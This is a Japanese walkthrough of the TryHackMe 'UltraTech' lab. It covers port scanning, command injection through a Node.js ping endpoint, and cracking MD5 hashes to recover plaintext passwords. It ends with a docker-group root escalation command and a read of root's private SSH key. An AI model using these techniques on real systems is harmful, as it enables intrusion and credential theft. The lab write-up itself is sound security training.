【TryHackMe】UltraTech：Walkthrough

# 概要

TryHackMe「UltraTech」のWalkthroughです。

https://tryhackme.com/r/room/ultratech1

# Task2

## **Q1**.*Which software is using the port 8081?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.126.244 -oN nmap_result
PORT      STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-cors: HEAD GET POST PUT DELETE PATCH
31331/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.6p1|
|8081|http|Node.js Express framework|
|31331|http|Apache httpd 2.4.29|

**A**.**Node.js**

## **Q2**.*Which other non-standard port is used?*

**A**.**31331**

## **Q3**.*Which software using this port?*

**A**.**Apache**

## **Q4**.*Which GNU/Linux distribution seems to be used?*

**A**.**Ubuntu**

## **Q5**.*The software using the port 8081 is a REST api, how many of its routes are used by the web application?*

`8081`ポートにアクセスすると`UltraTech API v0.1.3`という情報を得られました。

```
$ curl http://10.10.126.244:8081          
UltraTech API v0.1.3
```

`8081`ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.126.244:8081/
[07:10:24] 200 -   39B  - /auth/
[07:10:24] 200 -   39B  - /auth
[07:11:18] 500 -    1KB - /ping
```

**A**.**2**

# Task3

## **Q1**.*There is a database lying around, what is its filename?*

**Hint**.*Look closely how the API is used. Don't spend too much time on /auth, it isn't the only route available.*

`/ping`へアクセスするとエラー文が表示されました。

![8081 ping.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2d7a0022-1f89-7bd8-3022-817d35352c83.jpeg)

`31331`ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.126.244:31331
[08:02:26] 301 -  321B  - /css  ->  http://10.10.126.244:31331/css/
[08:02:34] 200 -   15KB - /favicon.ico
[08:02:41] 200 -  707B  - /images/
[08:02:41] 301 -  324B  - /images  ->  http://10.10.126.244:31331/images/   
[08:02:44] 301 -  328B  - /javascript  ->  http://10.10.126.244:31331/javascript/
[08:02:45] 200 -  483B  - /js/
[08:03:10] 200 -   53B  - /robots.txt
```

`/js/api.js`を発見しました。

```/js/api.js
(function() {
    console.warn('Debugging ::');

    function getAPIURL() {
        return `${window.location.hostname}:8081`
    }
    
    function checkAPIStatus() {
        const req = new XMLHttpRequest();
        try {
            const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
            req.open('GET', url, true);
            req.onload = function (e) {
                if (req.readyState === 4) {
                    if (req.status === 200) {
                        console.log('The api seems to be running')
                    } else {
                        console.error(req.statusText);
                    }
                }
            };
            req.onerror = function (e) {
                console.error(xhr.statusText);
            };
            req.send(null);
        }
        catch (e) {
            console.error(e)
            console.log('API Error');
        }
    }
    checkAPIStatus()
    const interval = setInterval(checkAPIStatus, 10000);
    const form = document.querySelector('form')
    form.action = `http://${getAPIURL()}/auth`;
    
})();
```

`/ping?ip=`でpingを実行できました。

```
$ curl http://10.10.126.244:8081/ping?ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.013/0.013/0.013/0.000 ms
```

OSコマンドインジェクションが出来そうです。
NodeJSのOSコマンドインジェクションを調べると`;`や` `` `を使用するテクニックが見つかりました。

https://www.nodejs-security.com/blog/introduction-command-injection-vulnerabilities-nodejs-javascript

` `` `を使用してコマンドを実行でき、ファイルを取得できました。

![nodejs ls.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/acc8ead0-77af-81b9-708b-46860605c723.jpeg)

**A**.**utech.db.sqlite**

## **Q2**.*What is the first user's password hash?*

`utech.db.sqlite`のデータから`r00t`,`admin`のハッシュ値を得られました。

![hash.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b35dbfa7-9603-d438-905a-2edb995e740c.jpeg)

**A**.**f357a0c52799563c7c7b76c1e7543a32**

## **Q3**.*What is the password associated with this hash?*

**Hint**.*We will, we will \*\*\*\*\*\*\*.txt*

ハッシュ値を解析し、パスワードを得られました。

```
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
n100906          (?)     
mrsheafy         (?)
```

**A**.**n100906**

# Task4

## **Q1**.*What are the first 9 characters of the root user's private SSH key?*

`Username: r00t`,`Password: n100906`でSSH接続できました。

```
$ ssh r00t@10.10.126.244
r00t@ultratech-prod:~$
```

`docker`グループに所属していることが分かりました。

```
$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
```

Dockerグループに所属している際に使用できる権限昇格テクニックが見つかりました。

https://gtfobins.github.io/gtfobins/docker/

Dockerイメージを確認します。

```
$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
bash                latest              495d6437fc1e        5 years ago         15.8MB
```

権限昇格に成功しました。

```
$ docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root
```

rootのSSH秘密鍵を得られました。

```
# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
```

**A**.**MIIEogIBA**